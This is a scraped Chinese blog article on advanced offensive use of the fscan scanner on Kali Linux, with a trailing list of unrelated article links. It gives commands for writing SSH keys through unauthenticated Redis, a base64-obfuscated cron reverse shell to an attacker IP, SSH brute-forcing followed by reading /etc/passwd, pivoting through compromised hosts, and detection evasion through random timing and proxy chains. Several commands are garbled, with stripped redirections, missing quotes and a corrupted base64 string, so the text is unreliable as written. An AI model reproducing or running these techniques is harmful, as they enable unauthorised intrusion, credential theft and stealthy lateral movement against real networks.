当前位置: 首页 > article >正文

不止于扫描:用fscan在Kali上玩转Redis写公钥、SSH命令执行等高级利用技巧

不止于扫描用fscan在Kali上玩转Redis写公钥、SSH命令执行等高级利用技巧在渗透测试的世界里工具的价值往往取决于使用者的创造力。fscan作为一款轻量级综合扫描工具其真正的威力远不止于简单的端口扫描和服务探测。本文将带你深入探索fscan在Kali Linux环境下的高级应用场景解锁那些鲜为人知的实战技巧。1. 环境准备与工具优化工欲善其事必先利其器。在开始高级利用之前我们需要确保fscan在Kali上的运行环境达到最佳状态。1.1 高效编译与性能调优标准的go build命令虽然可以编译fscan但通过添加编译参数可以获得更优化的二进制文件go build -ldflags-s -w -trimpath -o fscan main.go-ldflags-s -w移除调试信息减小二进制体积-trimpath移除文件系统路径信息增强可移植性-o fscan指定输出文件名便于直接调用1.2 多线程参数调优fscan默认使用600线程(-t 600)但在不同硬件环境下可能需要调整硬件配置推荐线程数适用场景4核8G300-500内网扫描8核16G800-1200大规模扫描云服务器200-300避免触发风控提示过高的线程数可能导致网络拥塞或目标系统过载建议根据实际网络环境逐步调整2. Redis高级利用实战Redis未授权访问是内网渗透中的常见突破口fscan提供了便捷的利用方式。2.1 自动化公钥写入传统方式需要手动操作Redis客户端而fscan可以一键完成./fscan -h 192.168.1.0/24 -rf ~/.ssh/id_rsa.pub执行流程解析扫描目标网段开放的6379端口检测Redis未授权访问漏洞自动将指定公钥写入目标Redis服务器的authorized_keys尝试使用对应私钥建立SSH连接2.2 计划任务反弹Shell的隐蔽技巧使用-rs参数时可以结合编码技术规避基础防御# 先对反弹命令进行Base64编码 echo bash -i /dev/tcp/192.168.1.100/4444 01 | base64 # 在fscan中使用编码后的命令 ./fscan -h 10.0.0.0/16 -rs 192.168.1.100:4444 -c echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ | base64 -d3. SSH爆破后的深度利用爆破成功只是开始fscan的-c参数开启了更多可能性。3.1 自动化信息收集单条命令完成爆破和信息收集./fscan -h 172.16.1.1-254 -m ssh -c uname -a; cat /etc/passwd; ip a -o results.txt执行结果示例[SSH] 172.16.1.45:22 root:admin123 Linux target01 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux root:x:0:0:root:/root:/bin/bash ... 2: eth0: BROADCAST,MULTICAST,UP,LOWER_UP mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:78:4d:9e brd ff:ff:ff:ff:ff:ff inet 172.16.1.45/24 brd 172.16.1.255 scope global dynamic eth03.2 内网横向移动利用已攻陷主机作为跳板进行内网探测./fscan -h 192.168.1.1 -c ./fscan -h 10.10.10.0/24 -o internal_scan.txt -rf ./fscan操作说明将本地fscan二进制上传到目标主机在目标主机上执行内网扫描结果保存到目标主机的internal_scan.txt可通过后续命令将结果回传4. 规避检测的高级技巧在实战中避免触发安全设备的告警同样重要。4.1 时间随机化扫描结合Bash脚本实现随机间隔扫描for ip in {1..254}; do timeout$((RANDOM%101)) echo Scanning 192.168.1.$ip with $timeout seconds delay ./fscan -h 192.168.1.$ip -t 50 -no -nopoc -np sleep $timeout done4.2 流量伪装技术通过代理链分散扫描流量# 安装proxychains apt install proxychains4 -y # 配置多个代理节点 echo socks5 127.0.0.1 9050 socks5 127.0.0.1 9051 /etc/proxychains4.conf # 通过代理链执行扫描 proxychains4 ./fscan -h 10.10.0.0/16 -debug 120 -silent5. 结果分析与报告生成扫描结果的后期处理同样影响渗透测试的效率。5.1 自动化结果筛选使用awk快速提取关键信息# 提取所有成功爆破的SSH服务 awk /SSH/{print $2} result.txt | sort -u ssh_targets.txt # 提取所有发现漏洞的Web服务 grep -E VULNERABLE|WEAK result.txt | awk {print $2:$3} vuln_services.txt5.2 可视化数据分析将结果导入Maltego进行关联分析import pandas as pd # 读取扫描结果 df pd.read_csv(result.txt, sep\t) # 生成服务分布统计 service_dist df[service].value_counts() print(service_dist.to_markdown())输出示例servicecountssh142http89redis32mysql18

相关文章:

不止于扫描:用fscan在Kali上玩转Redis写公钥、SSH命令执行等高级利用技巧

不止于扫描:用fscan在Kali上玩转Redis写公钥、SSH命令执行等高级利用技巧 在渗透测试的世界里,工具的价值往往取决于使用者的创造力。fscan作为一款轻量级综合扫描工具,其真正的威力远不止于简单的端口扫描和服务探测。本文将带你深入探索fsc…...

2026年怎么部署OpenClaw/Hermes Agent?经验总结

2026年怎么部署OpenClaw/Hermes Agent?经验总结。OpenClaw和Hermes Agent是什么?OpenClaw和Hermes Agent怎么部署?如何部署OpenClaw/Hermes Agent?2026年还在为部署OpenClaw和Hermes Agent到处找教程踩坑吗?别再瞎折腾…...

QMCDecode实战指南:一站式解决QQ音乐加密格式转换难题

QMCDecode实战指南:一站式解决QQ音乐加密格式转换难题 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac,qmc0,qmc3转mp3, mflac,mflac0等转flac),仅支持macOS,可自动识别到QQ音乐下载目录,默认转…...

JS 获取URL查询参数

方法一:自己写方法实现 示例代码 参考自:JS 获取 URL参数 | 菜鸟教程 // Desc: 获取URL路径上查询参数值 // params: urlStr:完整URL路径字符串,name:查询参数名 // return: URL查询参数值 function getUrlParamVal(urlStr, name){var url…...

AirPodsDesktop:如何在Windows上获得苹果生态级的耳机体验?

AirPodsDesktop:如何在Windows上获得苹果生态级的耳机体验? 【免费下载链接】AirPodsDesktop ☄️ AirPods desktop user experience enhancement program, for Windows and Linux (WIP) 项目地址: https://gitcode.com/gh_mirrors/ai/AirPodsDesktop …...

元宇宙移动端开发指南:从零开始构建AR/VR虚拟世界的完整教程

元宇宙移动端开发指南:从零开始构建AR/VR虚拟世界的完整教程 【免费下载链接】android_guides Extensive Open-Source Guides for Android Developers 项目地址: https://gitcode.com/gh_mirrors/an/android_guides GitHub 加速计划的 android_guides 项目提…...

解锁高效下载:八大网盘直链解析工具完全指南

解锁高效下载:八大网盘直链解析工具完全指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 / 迅…...

Unlock Music Electron:打破音乐平台加密限制的桌面解决方案

Unlock Music Electron:打破音乐平台加密限制的桌面解决方案 【免费下载链接】unlock-music-electron Unlock Music Project - Electron Edition 在Electron构建的桌面应用中解锁各种加密的音乐文件 项目地址: https://gitcode.com/gh_mirrors/un/unlock-music-el…...

vcs+verdi 使用记录

参考文章:VCSVerdi仿真Xilinx FPGA Vivado工程 参考文章:Linux下VCS与Verdi联合仿真简易教程及例子示范 在tb.v文件中加入: ifdef FSDB initial begin$fsdbDumpfile("test.fsdb"); //xxx根据需要替换为文件名$fsdbDumpvars;$fsd…...

如何在5分钟内免费搭建OBS RTSP服务器:完整配置指南

如何在5分钟内免费搭建OBS RTSP服务器:完整配置指南 【免费下载链接】obs-rtspserver RTSP server plugin for obs-studio 项目地址: https://gitcode.com/gh_mirrors/ob/obs-rtspserver 你是否想过将OBS Studio的专业直播内容直接推送到监控系统、智能电视或…...

3步告别激活烦恼:KMS智能激活工具完全指南

3步告别激活烦恼:KMS智能激活工具完全指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统频繁弹出激活提示而烦恼吗?Office文档突然变成只读模式让你束…...

STM32低功耗实战:用PWR模块让你的电池供电设备续航翻倍(附代码)

STM32低功耗实战:用PWR模块让你的电池供电设备续航翻倍(附代码) 在物联网设备和便携式传感器的设计中,电池续航往往是决定产品成败的关键因素。我曾参与过一个农业环境监测项目,设备需要在野外连续工作6个月以上&…...

摄像机标定

1 摄像机标定 在摄像机几何模型中,我们得到了摄像机模型变换矩阵为 ,其中,K为摄像机内参,R,C为摄像机外参。 为了方便后续推导方便,对公式符合做出一些修改: 1)使用T代替-C表示平移参数&#x…...

Windows蓝屏0xE6?别慌,手把手教你用WinDbg分析DRIVER_VERIFIER_DMA_VIOLATION

Windows蓝屏0xE6故障全解析:从Dump分析到驱动修复实战 突然遭遇蓝屏,屏幕上赫然显示着"DRIVER_VERIFIER_DMA_VIOLATION (0xE6)"的错误代码,这可能是许多Windows用户最不愿看到的场景之一。不同于普通应用崩溃,这类涉及驱…...

开源项目合规警示:从PyWxDump看技术边界与法律红线

开源项目合规警示:从PyWxDump看技术边界与法律红线 【免费下载链接】PyWxDump 删库 项目地址: https://gitcode.com/GitHub_Trending/py/PyWxDump 在开源技术蓬勃发展的今天,每一个开发者都梦想着创造能够解决实际问题的工具。然而,当…...

告别信号槽连接失败:深入Qt MOC机制,解决Q_OBJECT宏的五大常见坑

告别信号槽连接失败:深入Qt MOC机制,解决Q_OBJECT宏的五大常见坑 在Qt开发中,信号与槽机制无疑是框架最耀眼的明珠之一。但当你满怀信心地写下connect语句,却发现运行时连接始终无效时,那种挫败感足以让任何开发者抓狂…...

Material Design Lite消息通知:打造无缝用户体验的终极指南

Material Design Lite消息通知:打造无缝用户体验的终极指南 【免费下载链接】material-design-lite Material Design Components in HTML/CSS/JS 项目地址: https://gitcode.com/gh_mirrors/ma/material-design-lite Material Design Lite(MDL&am…...

JCSprout字符串优化终极指南:StringBuilder与StringBuffer性能对比

JCSprout字符串优化终极指南:StringBuilder与StringBuffer性能对比 【免费下载链接】JCSprout 👨‍🎓 Java Core Sprout : basic, concurrent, algorithm 项目地址: https://gitcode.com/gh_mirrors/jc/JCSprout 在Java开发中&#x…...

Foundation-Sites与Express集成:快速构建轻量级Web服务器的完整指南

Foundation-Sites与Express集成:快速构建轻量级Web服务器的完整指南 【免费下载链接】foundation-sites The most advanced responsive front-end framework in the world. Quickly create prototypes and production code for sites that work on any kind of devi…...

Mac Mouse Fix:让普通鼠标在macOS上获得触控板般的流畅体验

Mac Mouse Fix:让普通鼠标在macOS上获得触控板般的流畅体验 【免费下载链接】mac-mouse-fix Mac Mouse Fix - Make Your $10 Mouse Better Than an Apple Trackpad! 项目地址: https://gitcode.com/GitHub_Trending/ma/mac-mouse-fix 你是否曾经在macOS上使用…...

如何使用XState实现多语言状态切换:完整指南

如何使用XState实现多语言状态切换:完整指南 【免费下载链接】xstate State machines, statecharts, and actors for complex logic 项目地址: https://gitcode.com/gh_mirrors/xs/xstate XState是一个强大的状态管理库,专注于状态机、状态图和复…...

Qwen3-TTS在金融领域的应用:财报语音摘要生成

Qwen3-TTS在金融领域的应用:财报语音摘要生成 1. 金融语音化的痛点与机遇 金融从业者每天都要面对海量的财报数据和分析报告,眼睛盯着密密麻麻的数字和表格,时间长了难免疲劳。特别是基金经理、分析师和投资顾问,经常需要在通勤…...

039、行业应用案例(三):嵌入式设备智能助手

一、从一次深夜调试说起 上周在实验室熬到凌晨三点,就为了搞定位一个嵌入式语音模块的离奇问题:设备在安静环境下响应正常,可一到产线车间噪音环境,唤醒率直接掉到30%以下。示波器抓到的音频信号全是毛刺,FFT频谱像是被炸过一样。当时第一反应是麦克风硬件抗噪不行,差点…...

3种格式Cookie安全导出:Get cookies.txt LOCALLY浏览器扩展完全指南

3种格式Cookie安全导出:Get cookies.txt LOCALLY浏览器扩展完全指南 【免费下载链接】Get-cookies.txt-LOCALLY Get cookies.txt, NEVER send information outside. 项目地址: https://gitcode.com/gh_mirrors/ge/Get-cookies.txt-LOCALLY 在Web开发和数据采…...

病理科医生的数字助手:如何用QuPath免费软件高效标注与分析WSI切片(实战分享)

病理科医生的数字助手:如何用QuPath免费软件高效标注与分析WSI切片(实战分享) 第一次打开一张全切片数字图像(WSI)时,我被它的数据量震惊了——单个文件往往超过1GB,放大后可以看到比传统显微镜…...

Windows Cleaner:3分钟告别C盘爆红,让你的电脑重获新生!

Windows Cleaner:3分钟告别C盘爆红,让你的电脑重获新生! 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否曾经打开电脑&a…...

别再被PyTorch的checkpoint坑了!深入state_dict,彻底搞懂参数组匹配问题

深入解析PyTorch参数组匹配:从state_dict到优化器加载的完整指南 在深度学习项目实践中,模型保存与加载是每个开发者都会频繁接触的核心操作。PyTorch框架提供的state_dict机制看似简单直接,但当你在模型微调、架构迁移或分布式训练等场景下尝…...

零代码打造自然对话语音界面:ChatTTS WebUI全功能详解

零代码打造自然对话语音界面:ChatTTS WebUI全功能详解 【免费下载链接】ChatTTS A generative speech model for daily dialogue. 项目地址: https://gitcode.com/GitHub_Trending/ch/ChatTTS ChatTTS 是一款专注于日常对话的生成式语音模型,能够…...

终极Gradio指南:如何打造真正人人可用的AI交互界面

终极Gradio指南:如何打造真正人人可用的AI交互界面 【免费下载链接】gradio Build and share delightful machine learning apps, all in Python. 🌟 Star to support our work! 项目地址: https://gitcode.com/GitHub_Trending/gr/gradio Gradio…...

一觉醒来欠费2.5万美元!开发者怒喷Gemini API:10美元预算预警形同虚设!

整理 | 屠敏出品 | CSDN(ID:CSDNnews)“睡前设 10 美元预算预警,结果一觉醒来收到 Google Cloud 的天价欠费账单。”近日,开发者 venturaxi 陷入了一场令人崩溃的 Google Cloud 天价账单风波,根源直指 Gemi…...